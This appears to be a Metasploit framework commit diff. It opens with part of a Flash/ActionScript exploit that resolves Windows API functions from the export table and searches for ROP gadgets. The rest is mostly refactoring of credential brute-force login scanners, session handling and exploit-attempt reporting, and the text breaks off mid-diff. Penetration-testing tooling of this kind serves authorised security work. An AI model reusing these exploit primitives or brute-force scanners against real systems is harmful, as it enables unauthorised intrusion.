||||
private function procedure(name:String, addr:uint):uint
|
||||
{
|
||||
var eat:uint = addr + byte_read(addr + byte_read(addr + 0x3c) + 0x78)
|
||||
var numberOfNames:uint = byte_read(eat + 0x18)
|
||||
var addressOfFunctions:uint = addr + byte_read(eat + 0x1c)
|
||||
var addressOfNames:uint = addr + byte_read(eat + 0x20)
|
||||
var addressOfNameOrdinals:uint = addr + byte_read(eat + 0x24)
|
||||
for (var i:uint = 0; ; i++) {
|
||||
var entry:uint = byte_read(addressOfNames + i * 4)
|
||||
ba.position = addr + entry
|
||||
if (ba.readUTFBytes(name.length+2).toUpperCase() == name.toUpperCase()) break
|
||||
}
|
||||
return addr + byte_read(addressOfFunctions + byte_read(addressOfNameOrdinals + i * 2, "word") * 4)
|
||||
}
|
||||
|
||||
private function gadget(gadget:String, hint:uint, addr:uint):uint
|
||||
{
|
||||
var find:uint = 0
|
||||
var limit:uint = byte_read(addr + byte_read(addr + 0x3c) + 0x50)
|
||||
var value:uint = parseInt(gadget, 16)
|
||||
for (var i:uint = 0; i < limit - 4; i++) if (value == (byte_read(addr + i) & hint)) break
|
||||
return addr + i
|
||||
}
|
||||
}
|
||||
}
|
|
@ -79,7 +79,7 @@ class Metasploit::Framework::CredentialCollection
|
|||
# Adds a string as an addition private credential
|
||||
# to be combined in the collection.
|
||||
#
|
||||
# @param [String] :private_str the string to use as a private
|
||||
# @param [String] private_str the string to use as a private
|
||||
# @return [void]
|
||||
def add_private(private_str='')
|
||||
additional_privates << private_str
|
||||
|
@ -88,7 +88,7 @@ class Metasploit::Framework::CredentialCollection
|
|||
# Adds a string as an addition public credential
|
||||
# to be combined in the collection.
|
||||
#
|
||||
# @param [String] :public_str the string to use as a public
|
||||
# @param [String] public_str the string to use as a public
|
||||
# @return [void]
|
||||
def add_public(public_str='')
|
||||
additional_publics << public_str
|
||||
|
|
|
@ -24,12 +24,19 @@ module Metasploit
|
|||
# @param credential [Metasploit::Framework::Credential] The credential object
|
||||
# @return [Result]
|
||||
def attempt_login(credential)
|
||||
result_opts = { credential: credential }
|
||||
result_opts = {
|
||||
credential: credential,
|
||||
status: Metasploit::Model::Login::Status::INCORRECT,
|
||||
proof: nil,
|
||||
host: host,
|
||||
port: port,
|
||||
protocol: 'tcp'
|
||||
}
|
||||
|
||||
begin
|
||||
status = try_login(credential)
|
||||
result_opts.merge!(status)
|
||||
rescue ::EOFError, Rex::ConnectionError, ::Timeout::Error => e
|
||||
rescue ::EOFError, Errno::ECONNRESET, Rex::ConnectionError, OpenSSL::SSL::SSLError, ::Timeout::Error => e
|
||||
result_opts.merge!(status: Metasploit::Model::Login::Status::UNABLE_TO_CONNECT, proof: e)
|
||||
end
|
||||
|
||||
|
|
|
@ -83,7 +83,7 @@ module Metasploit
|
|||
else
|
||||
result_opts.merge!(status: Metasploit::Model::Login::Status::INCORRECT, proof: res)
|
||||
end
|
||||
rescue ::EOFError, Errno::ETIMEDOUT, Rex::ConnectionError, ::Timeout::Error => e
|
||||
rescue ::EOFError, Errno::ETIMEDOUT ,Errno::ECONNRESET, Rex::ConnectionError, OpenSSL::SSL::SSLError, ::Timeout::Error => e
|
||||
result_opts.merge!(status: Metasploit::Model::Login::Status::UNABLE_TO_CONNECT, proof: e)
|
||||
ensure
|
||||
cli.close
|
||||
|
|
|
@ -183,7 +183,7 @@ module Metasploit
|
|||
status = try_glassfish_3(credential)
|
||||
result_opts.merge!(status)
|
||||
end
|
||||
rescue ::EOFError, Rex::ConnectionError, ::Timeout::Error => e
|
||||
rescue ::EOFError, Errno::ECONNRESET, Rex::ConnectionError, OpenSSL::SSL::SSLError, ::Timeout::Error => e
|
||||
result_opts.merge!(status: Metasploit::Model::Login::Status::UNABLE_TO_CONNECT, proof: e)
|
||||
end
|
||||
|
||||
|
|
|
@ -187,13 +187,66 @@ module Metasploit
|
|||
error_message
|
||||
end
|
||||
|
||||
# Sends a HTTP request with Rex
|
||||
#
|
||||
# @param [Hash] opts native support includes the following (also see Rex::Proto::Http::Request#request_cgi)
|
||||
# @option opts [String] 'host' The remote host
|
||||
# @option opts [Fixnum] 'port' The remote port
|
||||
# @option opts [Boolean] 'ssl' The SSL setting, TrueClass or FalseClass
|
||||
# @option opts [String] 'proxies' The proxies setting
|
||||
# @option opts [Credential] 'credential' A credential object
|
||||
# @option opts ['Hash'] 'context' A context
|
||||
# @raise [Rex::ConnectionError] One of these errors has occured: EOFError, Errno::ETIMEDOUT, Rex::ConnectionError, ::Timeout::Error
|
||||
# @return [Rex::Proto::Http::Response] The HTTP response
|
||||
# @return [NilClass] An error has occured while reading the response (see #Rex::Proto::Http::Client#read_response)
|
||||
def send_request(opts)
|
||||
rhost = opts['host'] || host
|
||||
rport = opts['rport'] || port
|
||||
cli_ssl = opts['ssl'] || ssl
|
||||
cli_ssl_version = opts['ssl_version'] || ssl_version
|
||||
cli_proxies = opts['proxies'] || proxies
|
||||
username = opts['credential'] ? opts['credential'].public : ''
|
||||
password = opts['credential'] ? opts['credential'].private : ''
|
||||
realm = opts['credential'] ? opts['credential'].realm : nil
|
||||
context = opts['context'] || { 'Msf' => framework, 'MsfExploit' => framework_module}
|
||||
|
||||
res = nil
|
||||
cli = Rex::Proto::Http::Client.new(
|
||||
rhost,
|
||||
rport,
|
||||
context,
|
||||
cli_ssl,
|
||||
cli_ssl_version,
|
||||
cli_proxies,
|
||||
username,
|
||||
password
|
||||
)
|
||||
configure_http_client(cli)
|
||||
|
||||
if realm
|
||||
cli.set_config('domain' => credential.realm)
|
||||
end
|
||||
|
||||
begin
|
||||
cli.connect
|
||||
req = cli.request_cgi(opts)
|
||||
res = cli.send_recv(req)
|
||||
rescue ::EOFError, Errno::ETIMEDOUT ,Errno::ECONNRESET, Rex::ConnectionError, OpenSSL::SSL::SSLError, ::Timeout::Error => e
|
||||
raise Rex::ConnectionError, e.message
|
||||
ensure
|
||||
cli.close
|
||||
end
|
||||
|
||||
res
|
||||
end
|
||||
|
||||
|
||||
# Attempt a single login with a single credential against the target.
|
||||
#
|
||||
# @param credential [Credential] The credential object to attempt to
|
||||
# login with.
|
||||
# @return [Result] A Result object indicating success or failure
|
||||
def attempt_login(credential)
|
||||
|
||||
result_opts = {
|
||||
credential: credential,
|
||||
status: Metasploit::Model::Login::Status::INCORRECT,
|
||||
|
@ -209,32 +262,13 @@ module Metasploit
|
|||
result_opts[:service_name] = 'http'
|
||||
end
|
||||
|
||||
http_client = Rex::Proto::Http::Client.new(
|
||||
host, port, {'Msf' => framework, 'MsfExploit' => framework_module}, ssl, ssl_version,
|
||||
proxies, credential.public, credential.private
|
||||
)
|
||||
|
||||
configure_http_client(http_client)
|
||||
|
||||
if credential.realm
|
||||
http_client.set_config('domain' => credential.realm)
|
||||
end
|
||||
|
||||
begin
|
||||
http_client.connect
|
||||
request = http_client.request_cgi(
|
||||
'uri' => uri,
|
||||
'method' => method
|
||||
)
|
||||
|
||||
response = http_client.send_recv(request)
|
||||
response = send_request('credential'=>credential, 'uri'=>uri, 'method'=>method)
|
||||
if response && response.code == 200
|
||||
result_opts.merge!(status: Metasploit::Model::Login::Status::SUCCESSFUL, proof: response.headers)
|
||||
end
|
||||
rescue ::EOFError, Errno::ETIMEDOUT, Rex::ConnectionError, ::Timeout::Error => e
|
||||
rescue Rex::ConnectionError => e
|
||||
result_opts.merge!(status: Metasploit::Model::Login::Status::UNABLE_TO_CONNECT, proof: e)
|
||||
ensure
|
||||
http_client.close
|
||||
end
|
||||
|
||||
Result.new(result_opts)
|
||||
|
@ -322,7 +356,7 @@ module Metasploit
|
|||
|
||||
# Combine the base URI with the target URI in a sane fashion
|
||||
#
|
||||
# @param [String] The target URL
|
||||
# @param [String] target_uri the target URL
|
||||
# @return [String] the final URL mapped against the base
|
||||
def normalize_uri(target_uri)
|
||||
(self.uri.to_s + "/" + target_uri.to_s).gsub(/\/+/, '/')
|
||||
|
|
|
@ -50,7 +50,7 @@ module Metasploit
|
|||
else
|
||||
result_opts.merge!(status: Metasploit::Model::Login::Status::INCORRECT, proof: res)
|
||||
end
|
||||
rescue ::EOFError, Errno::ETIMEDOUT, Rex::ConnectionError, ::Timeout::Error => e
|
||||
rescue ::EOFError, Errno::ETIMEDOUT ,Errno::ECONNRESET, Rex::ConnectionError, OpenSSL::SSL::SSLError, ::Timeout::Error => e
|
||||
result_opts.merge!(status: Metasploit::Model::Login::Status::UNABLE_TO_CONNECT, proof: e)
|
||||
end
|
||||
Result.new(result_opts)
|
||||
|
|
|
@ -27,44 +27,9 @@ module Metasploit
|
|||
end
|
||||
|
||||
|
||||
# Sends a HTTP request with Rex
|
||||
#
|
||||
# @param (see Rex::Proto::Http::Request#request_raw)
|
||||
# @raise [Rex::ConnectionError] Something has gone wrong while sending the HTTP request
|
||||
# @return [Rex::Proto::Http::Response] The HTTP response
|
||||
def send_request(opts)
|
||||
res = nil
|
||||
cli = Rex::Proto::Http::Client.new(host, port,
|
||||
{
|
||||
'Msf' => framework,
|
||||
'MsfExploit' => framework_module
|
||||
},
|
||||
ssl,
|
||||
ssl_version,
|
||||
proxies
|
||||
)
|
||||
configure_http_client(cli)
|
||||
begin
|
||||
cli.connect
|
||||
req = cli.request_cgi(opts)
|
||||
res = cli.send_recv(req)
|
||||
rescue ::Errno::EPIPE, ::Timeout::Error => e
|
||||
# We are trying to mimic the same type of exception rescuing in
|
||||
# Msf::Exploit::Remote::HttpClient. But instead of returning nil, we'll consistently
|
||||
# raise Rex::ConnectionError so the #attempt_login can return the error message back
|
||||
# to the login module.
|
||||
raise Rex::ConnectionError, e.message
|
||||
ensure
|
||||
cli.close
|
||||
end
|
||||
|
||||
res
|
||||
end
|
||||
|
||||
|
||||
# Returns the latest sid from Symantec Web Gateway.
|
||||
#
|
||||
# @returns [String] The PHP Session ID for Symantec Web Gateway login
|
||||
# @return [String] The PHP Session ID for Symantec Web Gateway login
|
||||
def get_last_sid
|
||||
@last_sid ||= lambda {
|
||||
# We don't have a session ID. Well, let's grab one right quick from the login page.
|
||||
|
@ -130,7 +95,14 @@ module Metasploit
|
|||
# @param credential [Metasploit::Framework::Credential] The credential object
|
||||
# @return [Result] A Result object indicating success or failure
|
||||
def attempt_login(credential)
|
||||
result_opts = { credential: credential }
|
||||
result_opts = {
|
||||
credential: credential,
|
||||
status: Metasploit::Model::Login::Status::INCORRECT,
|
||||
proof: nil,
|
||||
host: host,
|
||||
port: port,
|
||||
protocol: 'tcp'
|
||||
}
|
||||
|
||||
begin
|
||||
result_opts.merge!(get_login_state(credential.public, credential.private))
|
||||
|
|
|
@ -44,7 +44,7 @@ module Metasploit
|
|||
untested_payloads_pathname = Pathname.new 'log/untested-payloads.log'
|
||||
|
||||
if untested_payloads_pathname.exist?
|
||||
tool_path = 'tools/missing-payload-tests.rb'
|
||||
tool_path = 'tools/missing_payload_tests.rb'
|
||||
|
||||
$stderr.puts "Untested payload detected. Running `#{tool_path}` to see contexts to add to " \
|
||||
"`spec/modules/payloads_spec.rb` to test those payload ancestor reference names."
|
||||
|
|
|
@ -323,9 +323,9 @@ class Meterpreter < Rex::Post::Meterpreter::Client
|
|||
nhost = find_internet_connected_address
|
||||
|
||||
original_session_host = self.session_host
|
||||
# If we found a better IP address for this session, change it up
|
||||
# only handle cases where the DB is not connected here
|
||||
if !(framework.db && framework.db.active)
|
||||
# If we found a better IP address for this session, change it
|
||||
# up. Only handle cases where the DB is not connected here
|
||||
if nhost && !(framework.db && framework.db.active)
|
||||
self.session_host = nhost
|
||||
end
|
||||
|
||||
|
@ -461,6 +461,8 @@ protected
|
|||
# @see Rex::Post::Meterpreter::Extensions::Stdapi::Net::Config#get_routes
|
||||
# @return [String] The address from which this host reaches the
|
||||
# internet, as ASCII. e.g.: "192.168.100.156"
|
||||
# @return [nil] If there is an interface with an address that matches
|
||||
# {#session_host}
|
||||
def find_internet_connected_address
|
||||
|
||||
ifaces = self.net.config.get_interfaces().flatten rescue []
|
||||
|
@ -497,7 +499,9 @@ protected
|
|||
end
|
||||
|
||||
if !nhost
|
||||
# Find the first non-loopback address
|
||||
# No internal address matches what we see externally and no
|
||||
# interface has a default route. Fall back to the first
|
||||
# non-loopback address
|
||||
non_loopback = ifaces.find { |i| i.ip != "127.0.0.1" && i.ip != "::1" }
|
||||
if non_loopback
|
||||
nhost = non_loopback.ip
|
||||
|
|
|
@ -108,9 +108,9 @@ module Auxiliary::AuthBrute
|
|||
# This method takes a {Metasploit::Framework::CredentialCollection} and prepends existing SSHKeys
|
||||
# from the database. This allows the users to use the DB_ALL_CREDS option.
|
||||
#
|
||||
# @param cred_collection [Metasploit::Framework::CredentialCollection]
|
||||
# @param [Metasploit::Framework::CredentialCollection] cred_collection
|
||||
# the credential collection to add to
|
||||
# @return [Metasploit::Framework::CredentialCollection] the modified Credentialcollection
|
||||
# @return [Metasploit::Framework::CredentialCollection] cred_collection the modified Credentialcollection
|
||||
def prepend_db_keys(cred_collection)
|
||||
if prepend_db_creds?
|
||||
each_ssh_cred do |cred|
|
||||
|
@ -140,8 +140,8 @@ module Auxiliary::AuthBrute
|
|||
# {Metasploit::Framework::CredentialCollection} as dictated by the
|
||||
# selected datastore options.
|
||||
#
|
||||
# @param [Metasploit::Framework::CredentialCollection] the credential collection to add to
|
||||
# @param [Metasploit::Credential::Core] the Credential Core to process
|
||||
# @param [Metasploit::Framework::CredentialCollection] cred_collection the credential collection to add to
|
||||
# @param [Metasploit::Credential::Core] cred the credential to process
|
||||
def process_cred_for_collection(cred_collection, cred)
|
||||
msf_cred = cred.to_credential
|
||||
cred_collection.prepend_cred(msf_cred) if datastore['DB_ALL_CREDS']
|
||||
|
|
|
@ -77,7 +77,7 @@ module Auxiliary::JohnTheRipper
|
|||
end
|
||||
|
||||
# This method instantiates a {Metasploit::Framework::JtR::Wordlist}, writes the data
|
||||
# out to a file and returns the {rex::quickfile} object.
|
||||
# out to a file and returns the {Rex::Quickfile} object.
|
||||
#
|
||||
# @return [nilClass] if there is no active framework db connection
|
||||
# @return [Rex::Quickfile] if it successfully wrote the wordlist to a file
|
||||
|
|
|
@ -113,13 +113,11 @@ module Auxiliary::Report
|
|||
|
||||
#
|
||||
# Report a client connection
|
||||
#
|
||||
# opts must contain
|
||||
# :host the address of the client connecting
|
||||
# :ua_string a string that uniquely identifies this client
|
||||
# opts can contain
|
||||
# :ua_name a brief identifier for the client, e.g. "Firefox"
|
||||
# :ua_ver the version number of the client, e.g. "3.0.11"
|
||||
# @param opts [Hash] report client information based on user-agent
|
||||
# @option opts [String] :host the address of the client connecting
|
||||
# @option opts [String] :ua_string a string that uniquely identifies this client
|
||||
# @option opts [String] :ua_name a brief identifier for the client, e.g. "Firefox"
|
||||
# @option opts [String] :ua_ver the version number of the client, e.g. "3.0.11"
|
||||
#
|
||||
def report_client(opts={})
|
||||
return if not db
|
||||
|
@ -161,7 +159,7 @@ module Auxiliary::Report
|
|||
# by a module. This method is deprecated and the new Metasploit::Credential methods
|
||||
# should be used directly instead.
|
||||
#
|
||||
# @param :opts [Hash] the option hash
|
||||
# @param opts [Hash] the option hash
|
||||
# @option opts [String] :host the address of the host (also takes a {Mdm::Host})
|
||||
# @option opts [Fixnum] :port the port of the connected service
|
||||
# @option opts [Mdm::Service] :service an optional Service object to build the cred for
|
||||
|
|
|
@ -23,6 +23,10 @@ require 'msf/core/service_state'
|
|||
class Msf::DBManager
|
||||
extend Metasploit::Framework::Require
|
||||
|
||||
# Default proto for making new `Mdm::Service`s. This should probably be a
|
||||
# const on `Mdm::Service`
|
||||
DEFAULT_SERVICE_PROTO = "tcp"
|
||||
|
||||
autoload :Adapter, 'msf/core/db_manager/adapter'
|
||||
autoload :Client, 'msf/core/db_manager/client'
|
||||
autoload :Connection, 'msf/core/db_manager/connection'
|
||||
|
|
|
@ -27,186 +27,152 @@ module Msf::DBManager::ExploitAttempt
|
|||
}
|
||||
end
|
||||
|
||||
# Create an `Mdm::ExploitAttempt` (and possibly an `Mdm::VulnAttempt`, if
|
||||
# the `vuln` option is passed).
|
||||
#
|
||||
# @option (see #do_report_failure_or_success)
|
||||
# @return (see #do_report_failure_or_success)
|
||||
def report_exploit_failure(opts)
|
||||
return unless opts.has_key?(:refs) && !opts[:refs].blank?
|
||||
host = opts[:host] || return
|
||||
|
||||
::ActiveRecord::Base.connection_pool.with_connection {
|
||||
wspace = opts.delete(:workspace) || workspace
|
||||
mrefs = opts.delete(:refs) || return
|
||||
host = opts.delete(:host)
|
||||
port = opts.delete(:port)
|
||||
prot = opts.delete(:proto)
|
||||
svc = opts.delete(:service)
|
||||
vuln = opts.delete(:vuln)
|
||||
|
||||
timestamp = opts.delete(:timestamp)
|
||||
freason = opts.delete(:fail_reason)
|
||||
fdetail = opts.delete(:fail_detail)
|
||||
username = opts.delete(:username)
|
||||
mname = opts.delete(:module)
|
||||
|
||||
# Look up the host as appropriate
|
||||
if not (host and host.kind_of? ::Mdm::Host)
|
||||
if svc.kind_of? ::Mdm::Service
|
||||
host = svc.host
|
||||
else
|
||||
host = get_host( :workspace => wspace, :address => host )
|
||||
end
|
||||
end
|
||||
|
||||
# Bail if we dont have a host object
|
||||
return if not host
|
||||
wspace = opts[:workspace] || workspace
|
||||
port = opts[:port]
|
||||
prot = opts[:proto] || Msf::DBManager::DEFAULT_SERVICE_PROTO
|
||||
svc = opts[:service]
|
||||
|
||||
# Look up the service as appropriate
|
||||
if port and svc.nil?
|
||||
prot ||= "tcp"
|
||||
svc = get_service(wspace, host, prot, port) if port
|
||||
svc = get_service(wspace, host, prot, port)
|
||||
end
|
||||
|
||||
if not vuln
|
||||
# Create a references map from the module list
|
||||
ref_objs = ::Mdm::Ref.where(:name => mrefs.map { |ref|
|
||||
if ref.respond_to?(:ctx_id) and ref.respond_to?(:ctx_val)
|
||||
"#{ref.ctx_id}-#{ref.ctx_val}"
|
||||
else
|
||||
ref.to_s
|
||||
end
|
||||
})
|
||||
|
||||
# Try find a matching vulnerability
|
||||
vuln = find_vuln_by_refs(ref_objs, host, svc)
|
||||
end
|
||||
|
||||
# Report a vuln_attempt if we found a match
|
||||
if vuln
|
||||
attempt_info = {
|
||||
:attempted_at => timestamp || Time.now.utc,
|
||||
:exploited => false,
|
||||
:fail_reason => freason,
|
||||
:fail_detail => fdetail,
|
||||
:username => username || "unknown",
|
||||
:module => mname
|
||||
}
|
||||
|
||||
vuln.vuln_attempts.create(attempt_info)
|
||||
end
|
||||
|
||||
# Report an exploit attempt all the same
|
||||
attempt_info = {
|
||||
:attempted_at => timestamp || Time.now.utc,
|
||||
:exploited => false,
|
||||
:username => username || "unknown",
|
||||
:module => mname,
|
||||
:fail_reason => freason,
|
||||
:fail_detail => fdetail
|
||||
}
|
||||
|
||||
attempt_info[:vuln_id] = vuln.id if vuln
|
||||
|
||||
if svc
|
||||
attempt_info[:port] = svc.port
|
||||
attempt_info[:proto] = svc.proto
|
||||
end
|
||||
|
||||
if port and svc.nil?
|
||||
attempt_info[:port] = port
|
||||
attempt_info[:proto] = prot || "tcp"
|
||||
end
|
||||
|
||||
host.exploit_attempts.create(attempt_info)
|
||||
}
|
||||
end
|
||||
|
||||
def report_exploit_success(opts)
|
||||
::ActiveRecord::Base.connection_pool.with_connection {
|
||||
|
||||
wspace = opts.delete(:workspace) || workspace
|
||||
mrefs = opts.delete(:refs) || return
|
||||
host = opts.delete(:host)
|
||||
port = opts.delete(:port)
|
||||
prot = opts.delete(:proto)
|
||||
svc = opts.delete(:service)
|
||||
vuln = opts.delete(:vuln)
|
||||
|
||||
timestamp = opts.delete(:timestamp)
|
||||
username = opts.delete(:username)
|
||||
mname = opts.delete(:module)
|
||||
|
||||
# Look up or generate the host as appropriate
|
||||
if not (host and host.kind_of? ::Mdm::Host)
|
||||
# Look up the host as appropriate
|
||||
if !host || !host.kind_of?(::Mdm::Host)
|
||||
if svc.kind_of? ::Mdm::Service
|
||||
host = svc.host
|
||||
else
|
||||
host = report_host(:workspace => wspace, :address => host )
|
||||
host = get_host(workspace: wspace, address: host)
|
||||
end
|
||||
end
|
||||
|
||||
# Bail if we dont have a host object
|
||||
return if not host
|
||||
|
||||
opts = opts.dup
|
||||
opts[:service] = svc
|
||||
opts[:host] = host
|
||||
|
||||
do_report_failure_or_success(opts)
|
||||
end
|
||||
|
||||
# Create an `Mdm::ExploitAttempt` (and possibly an `Mdm::VulnAttempt`, if
|
||||
# the `vuln` option is passed).
|
||||
#
|
||||
# @return (see #do_report_failure_or_success)
|
||||
def report_exploit_success(opts)
|
||||
return unless opts[:refs]
|
||||
host = opts[:host] || return
|
||||
|
||||
wspace = opts[:workspace] || workspace
|
||||
port = opts[:port]
|
||||
prot = opts[:proto] || Msf::DBManager::DEFAULT_SERVICE_PROTO
|
||||
svc = opts[:service]
|
||||
|
||||
# Look up or generate the service as appropriate
|
||||
if port and svc.nil?
|
||||
svc = report_service(:workspace => wspace, :host => host, :port => port, :proto => prot ) if port
|
||||
# it is rude to modify arguments in place
|
||||
opts = opts.dup
|
||||
opts[:proto] ||= Msf::DBManager::DEFAULT_SERVICE_PROTO
|
||||
opts[:service] = report_service(
|
||||
workspace: wspace, host: host, port: port, proto: prot
|
||||
)
|
||||
end
|
||||
|
||||
if not vuln
|
||||
# Create a references map from the module list
|
||||
ref_objs = ::Mdm::Ref.where(:name => mrefs.map { |ref|
|
||||
if ref.respond_to?(:ctx_id) and ref.respond_to?(:ctx_val)
|
||||
"#{ref.ctx_id}-#{ref.ctx_val}"
|
||||
else
|
||||
ref.to_s
|
||||
end
|
||||
})
|
||||
do_report_failure_or_success(opts)
|
||||
end
|
||||
|
||||
# Try find a matching vulnerability
|
||||
vuln = find_vuln_by_refs(ref_objs, host, svc)
|
||||
end
|
||||
private
|
||||
|
||||
# @option opts [Array<String>, Array<Msf::Module::Reference>] :refs
|
||||
# @option opts [Mdm::Host] :host
|
||||
# @option opts [Mdm::Service] :service
|
||||
# @option opts [Integer] :port (nil)
|
||||
# @option opts ["tcp","udp"] :proto (Msf::DBManager::DEFAULT_SERVICE_PROTO) See `Mdm::Service::PROTOS`
|
||||
# @option opts [Mdm::Vuln] :vuln (nil)
|
||||
# @option opts [Time] :timestamp (nil)
|
||||
# @option opts [Mdm::Vuln] :timestamp (nil)
|
||||
# @option opts [String] :module (nil)
|
||||
# @return [void]
|
||||
def do_report_failure_or_success(opts)
|
||||
return unless opts[:refs]
|
||||
::ActiveRecord::Base.connection_pool.with_connection {
|
||||
mrefs = opts[:refs]
|
||||
host = opts[:host]
|
||||
port = opts[:port]
|
||||
prot = opts[:proto]
|
||||
svc = opts[:service]
|
||||
vuln = opts[:vuln]
|
||||
|
||||
timestamp = opts[:timestamp]
|
||||
freason = opts[:fail_reason]
|
||||
fdetail = opts[:fail_detail]
|
||||
username = opts[:username]
|
||||
mname = opts[:module]
|
||||
|
||||
if vuln.nil?
|
||||
ref_names = mrefs.map { |ref|
|
||||
if ref.respond_to?(:ctx_id) and ref.respond_to?(:ctx_val)
|
||||
"#{ref.ctx_id}-#{ref.ctx_val}"
|
||||
else
|
||||
ref.to_s
|
||||
end
|
||||
}
|
||||
|
||||
# Create a references map from the module list
|
||||
ref_objs = ::Mdm::Ref.where(name: ref_names)
|
||||
|
||||
# Try find a matching vulnerability
|
||||
vuln = find_vuln_by_refs(ref_objs, host, svc)
|
||||
end
|
||||
|
||||
# We have match, lets create a vuln_attempt record
|
||||
if vuln
|
||||
attempt_info = {
|
||||
:vuln_id => vuln.id,
|
||||
:attempted_at => timestamp || Time.now.utc,
|
||||
:exploited => true,
|
||||
:exploited => (freason.nil? ? true : false),
|
||||
:fail_detail => fdetail,
|
||||
:fail_reason => freason,
|
||||
:module => mname,
|
||||
:username => username || "unknown",
|
||||
:module => mname
|
||||
}
|
||||
|
||||
attempt_info[:session_id] = opts[:session_id] if opts[:session_id]
|
||||
attempt_info[:loot_id] = opts[:loot_id] if opts[:loot_id]
|
||||
|
||||
vuln.vuln_attempts.create(attempt_info)
|
||||
# We have match, lets create a vuln_attempt record
|
||||
if vuln
|
||||
attempt_info[:vuln_id] = vuln.id
|
||||
vuln.vuln_attempts.create(attempt_info)
|
||||
|
||||
# Correct the vuln's associated service if necessary
|
||||
if svc and vuln.service_id.nil?
|
||||
vuln.service = svc
|
||||
vuln.save
|
||||
# Correct the vuln's associated service if necessary
|
||||
if svc and vuln.service_id.nil?
|
||||
vuln.service = svc
|
||||
vuln.save
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
# Report an exploit attempt all the same
|
||||
attempt_info = {
|
||||
:attempted_at => timestamp || Time.now.utc,
|
||||
:exploited => true,
|
||||
:username => username || "unknown",
|
||||
:module => mname
|
||||
# Report an exploit attempt all the same
|
||||
|
||||
if svc
|
||||
attempt_info[:port] = svc.port
|
||||
attempt_info[:proto] = svc.proto
|
||||
end
|
||||
|
||||
if port and svc.nil?
|
||||
attempt_info[:port] = port
|
||||
attempt_info[:proto] = prot || Msf::DBManager::DEFAULT_SERVICE_PROTO
|
||||
end
|
||||
|
||||
host.exploit_attempts.create(attempt_info)
|
||||
}
|
||||
|
||||
attempt_info[:vuln_id] = vuln.id if vuln
|
||||
attempt_info[:session_id] = opts[:session_id] if opts[:session_id]
|
||||
attempt_info[:loot_id] = opts[:loot_id] if opts[:loot_id]
|
||||
|
||||
if svc
|
||||
attempt_info[:port] = svc.port
|
||||
attempt_info[:proto] = svc.proto
|
||||
end
|
||||
|
||||
if port and svc.nil?
|
||||
attempt_info[:port] = port
|
||||
attempt_info[:proto] = prot || "tcp"
|
||||
end
|
||||
|
||||
host.exploit_attempts.create(attempt_info)
|
||||
}
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
|
@ -96,8 +96,7 @@ module Msf::DBManager::Host
|
|||
norm_host = host.host
|
||||
elsif host.respond_to?(:session_host)
|
||||
# Then it's an Msf::Session object
|
||||
thost = host.session_host
|
||||
norm_host = thost
|
||||
norm_host = host.session_host
|
||||
end
|
||||
|
||||
# If we got here and don't have a norm_host yet, it could be a
|
||||
|
@ -325,4 +324,4 @@ module Msf::DBManager::Host
|
|||
host
|
||||
}
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
|
@ -26,7 +26,7 @@ module Msf::DBManager::Import::Qualys::Asset
|
|||
qid = vuln.elements['QID'].first.to_s
|
||||
vuln_refs[qid] ||= []
|
||||
vuln.elements.each('CVE_ID_LIST/CVE_ID') do |ref|
|
||||
vuln_refs[qid].push('CVE-' + /C..-([0-9\-]{9})/.match(ref.elements['ID'].text.to_s)[1])
|
||||
vuln_refs[qid].push('CVE-' + /C..-([0-9\-]{9,})/.match(ref.elements['ID'].text.to_s)[1])
|
||||
end
|
||||
vuln.elements.each('BUGTRAQ_ID_LIST/BUGTRAQ_ID') do |ref|
|
||||
vuln_refs[qid].push('BID-' + ref.elements['ID'].text.to_s)
|
||||
|
@ -95,4 +95,4 @@ module Msf::DBManager::Import::Qualys::Asset
|
|||
end # host
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
|
@ -70,7 +70,7 @@ module Msf::DBManager::Import::Qualys::Scan
|
|||
refs.push(ref.elements['ID'].text.to_s)
|
||||
end
|
||||
vuln.elements.each('CVE_ID_LIST/CVE_ID') do |ref|
|
||||
refs.push('CVE-' + /C..-([0-9\-]{9})/.match(ref.elements['ID'].text.to_s)[1])
|
||||
refs.push('CVE-' + /C..-([0-9\-]{9,})/.match(ref.elements['ID'].text.to_s)[1])
|
||||
end
|
||||
vuln.elements.each('BUGTRAQ_ID_LIST/BUGTRAQ_ID') do |ref|
|
||||
refs.push('BID-' + ref.elements['ID'].text.to_s)
|
||||
|
|
|
@ -85,7 +85,7 @@ module Msf::DBManager::Service
|
|||
end
|
||||
=end
|
||||
|
||||
proto = opts[:proto] || 'tcp'
|
||||
proto = opts[:proto] || Msf::DBManager::DEFAULT_SERVICE_PROTO
|
||||
|
||||
service = host.services.where(port: opts[:port].to_i, proto: proto).first_or_initialize
|
||||
opts.each { |k,v|
|
||||
|
@ -126,4 +126,4 @@ module Msf::DBManager::Service
|
|||
wspace.services.includes(:host).where(conditions).order("hosts.address, port")
|
||||
}
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
|
@ -74,101 +74,66 @@ module Msf::DBManager::Session
|
|||
# @raise [ActiveRecord::RecordInvalid] if session is invalid and cannot be
|
||||
# saved.
|
||||
#
|
||||
# @raise ArgumentError if :host and :session is +nil+
|
||||
# @raise ArgumentError if :host and :session are both +nil+
|
||||
def report_session(opts)
|
||||
return if not active
|
||||
|
||||
::ActiveRecord::Base.connection_pool.with_connection {
|
||||
if opts[:session]
|
||||
raise ArgumentError.new("Invalid :session, expected Msf::Session") unless opts[:session].kind_of? Msf::Session
|
||||
session = opts[:session]
|
||||
wspace = opts[:workspace] || find_workspace(session.workspace)
|
||||
h_opts = { }
|
||||
h_opts[:host] = normalize_host(session)
|
||||
h_opts[:arch] = session.arch if session.respond_to?(:arch) and session.arch
|
||||
h_opts[:workspace] = wspace
|
||||
host = find_or_create_host(h_opts)
|
||||
sess_data = {
|
||||
:host_id => host.id,
|
||||
:stype => session.type,
|
||||
:desc => session.info,
|
||||
:platform => session.platform,
|
||||
:via_payload => session.via_payload,
|
||||
:via_exploit => session.via_exploit,
|
||||
:routes => [],
|
||||
:datastore => session.exploit_datastore.to_h,
|
||||
:port => session.session_port,
|
||||
:opened_at => Time.now.utc,
|
||||
:last_seen => Time.now.utc,
|
||||
:local_id => session.sid
|
||||
}
|
||||
s = create_mdm_session_from_session(opts)
|
||||
session.db_record = s
|
||||
elsif opts[:host]
|
||||
raise ArgumentError.new("Invalid :host, expected Host object") unless opts[:host].kind_of? ::Mdm::Host
|
||||
host = opts[:host]
|
||||
sess_data = {
|
||||
:host_id => host.id,
|
||||
